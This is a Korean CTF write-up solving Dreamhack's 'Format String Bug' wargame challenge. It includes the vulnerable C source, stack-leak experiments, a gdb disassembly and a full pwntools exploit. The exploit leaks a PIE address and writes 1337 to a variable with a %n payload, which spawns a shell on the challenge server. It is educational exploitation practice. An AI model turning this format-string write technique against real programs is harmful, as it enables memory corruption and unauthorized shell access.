[dreamhack] Format String Bug writeup

1. 문제

thumbnail
Format String Bug

Exploit Tech: Format String Bug에서 실습하는 문제입니다.
23.11 update
binary updated
Dockerfile is added to the attatchment

https://dreamhack.io/wargame/challenges/356

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

buf 변수에 get_string 함수를 통해 입력을 받고, 만약 changeme 변수가 1337이면 쉘을 실행시킨다.


printf 함수의 fsb 취약점을 이용하는 문제이다. 문제는 지금까지와 다르게 이 문제는 checksec을 확인해보면 온갖 보호기법들이 다 걸려있다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ checksec fsb_overwrite
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/format_string_bug/fsb_overwrite'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

보호기법에 대해서는 나중에 따로 정리를 해야겠다…

결론적으로는 실행할 때마다 모든 주소값들이 랜덤하게 변하기 때문에 fsb 취약점을 이용해서 정보를 leak 해야한다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite 
12341234 %p %p %p %p %p %p %p %p
12341234 0x7ffc1e190f40 0x20 0x7e3cefb1ba61 (nil) 0x7e3cefd36380 0x3433323134333231 0x2520702520702520 0x2070252070252070P

우선 입력한 값은 6번째 위치부터 쓰이는 것을 확인할 수 있다.

그리고 처음에는 지금까지 해온 것처럼 aaaa %p %p %p %p 이런식으로 입력하면서 확인을 했다. 그런데 아마 입력을 할때마다 스택에서 인자가 어긋나는건지, .code 주소로 보이는 것들이 보이지를 않아서 당황했다. 그나마 제일 가까웠던게 libcread함수 주소를 구할 수는 있었는데 이걸 가지고는 해결이 안됐다. read함수에 one_gadget 주소를 덮어씌우면 되긴했을까? 잘모르겠다

한참을 헤메다가 %3$p이런식으로 입력하는 방법을 알게됐다. 이렇게하면 스택이 꼬일 염려 없이 해당 위치에 있는 값을 바로 가져올 수 있다. 예를 들어 %3$p는 스택 3번째 값을 가져오는 것으로,

ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite 
%3$p
0x72bbd051ba61
%p %p %p
0x7ffd1b1e0240 0x8 0x72bbd051ba61

이렇게 %p %p %p를 했을때 3번째 값과 같음을 볼 수 있다. 다만 %p를 여러번 사용하면 스택이 좀 꼬여서 제대로 값을 얻을 수 없는 것 같다. 이 문제에서 필요했던 것은 실제 코드 주소였는데, %p를 여러번 사용하는 방식으로는 원하는 주소를 가져올 수가 없었다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/format_string_bug$ ./fsb_overwrite 
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
0x7fff6e34ad90 0x20 0x710caf51ba61 (nil) 0x710caf67d380 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7fff6e34aea0 0xcc49b7d164680400 ®4nÿ
 0x7fff6e34ad90 0x16 0x710caf51ba61 0x2b (nil) 0x2520702520702520 0x2070252070252070 
%17$p
0x560791aec293

그래서 노가다를 통해서 위와 같이 17번째 인자가 main 함수의 시작 주소임을 알 수 있었다. 진짜 이것때문에 한참 고생했다

(gdb) disass main
Dump of assembler code for function main:
   0x0000560791aec293 <+0>:	endbr64
   0x0000560791aec297 <+4>:	push   %rbp
   0x0000560791aec298 <+5>:	mov    %rsp,%rbp
   0x0000560791aec29b <+8>:	sub    $0x30,%rsp
   0x0000560791aec29f <+12>:	mov    %fs:0x28,%rax
   0x0000560791aec2a8 <+21>:	mov    %rax,-0x8(%rbp)
   0x0000560791aec2ac <+25>:	xor    %eax,%eax
   0x0000560791aec2ae <+27>:	mov    0x2d5b(%rip),%rax        # 0x560791aef010 <stdout@GLIBC_2.2.5>
   0x0000560791aec2b5 <+34>:	mov    $0x0,%esi
   0x0000560791aec2ba <+39>:	mov    %rax,%rdi
   0x0000560791aec2bd <+42>:	call   0x560791aec0c0 <setbuf@plt>
   0x0000560791aec2c2 <+47>:	lea    -0x30(%rbp),%rax
   0x0000560791aec2c6 <+51>:	mov    $0x20,%esi
   0x0000560791aec2cb <+56>:	mov    %rax,%rdi
   0x0000560791aec2ce <+59>:	call   0x560791aec209 <get_string>
   0x0000560791aec2d3 <+64>:	lea    -0x30(%rbp),%rax
   0x0000560791aec2d7 <+68>:	mov    %rax,%rdi
   0x0000560791aec2da <+71>:	mov    $0x0,%eax
   0x0000560791aec2df <+76>:	call   0x560791aec0e0 <printf@plt>
   0x0000560791aec2e4 <+81>:	lea    0xd1e(%rip),%rax        # 0x560791aed009
   0x0000560791aec2eb <+88>:	mov    %rax,%rdi
   0x0000560791aec2ee <+91>:	call   0x560791aec0b0 <puts@plt>
   0x0000560791aec2f3 <+96>:	mov    0x2d23(%rip),%eax        # 0x560791aef01c <changeme>
   0x0000560791aec2f9 <+102>:	cmp    $0x539,%eax
   0x0000560791aec2fe <+107>:	jne    0x560791aec2c2 <main+47>
   0x0000560791aec300 <+109>:	lea    0xd03(%rip),%rax        # 0x560791aed00a
   0x0000560791aec307 <+116>:	mov    %rax,%rdi
   0x0000560791aec30a <+119>:	call   0x560791aec0d0 <system@plt>
   0x0000560791aec30f <+124>:	jmp    0x560791aec2c2 <main+47>
End of assembler dump.

changeme 변수는 위의 gdb를 보면 알 수 있다시피 0x560791aef01c 위치에 존재하고, leak한 main 주소를 base로해서 구할 수 있다.

이걸 이용해서 payload를 작성해보면 아래와 같다.

payload = b''
payload += b'%1337c%8'
payload += b'$naaaaaa'
payload += p64(changeme)

1337changeme 변수에 써야하므로 1337개의 문자를 쓰고, 어떤 주소에 쓸지를 입력해줘야한다. 따라서 최소한 %1337c%X$n + changeme_addr은 써야하는데, 이미 첫번째 인자가 10바이트를 차지하기 때문에 16바이트를 패딩으로 채워주고 8번째 인자에 changeme 주소를 써야한다. 이 패딩값은 아무렇게나 aaaaaa로 채웠다.

실제 사용한 exploit은 아래와 같다.

from pwn import *

#p = process("./fsb_overwrite")
p = remote("host3.dreamhack.games", 15481)
e = ELF("./fsb_overwrite")

# remote
p.sendline("%15$p")

# local
#p.sendline("%17$p")

main_addr = int(p.recv(1024).decode(),16)
print(hex(main_addr))
code_base = main_addr - e.symbols["main"]
changeme = code_base + e.symbols["changeme"]


payload = b''
payload += b'%1337c%8'
payload += b'$naaaaaa'
payload += p64(changeme)

p.send(payload)
p.interactive()

서버환경에서는 17번째 인자가 아니었기 때문에 다시 한 번 노가다를 통해 15번째 인자임을 확인해서 exploit을 수행하였다.

FSB 너무 어렵다…

아무튼 해결~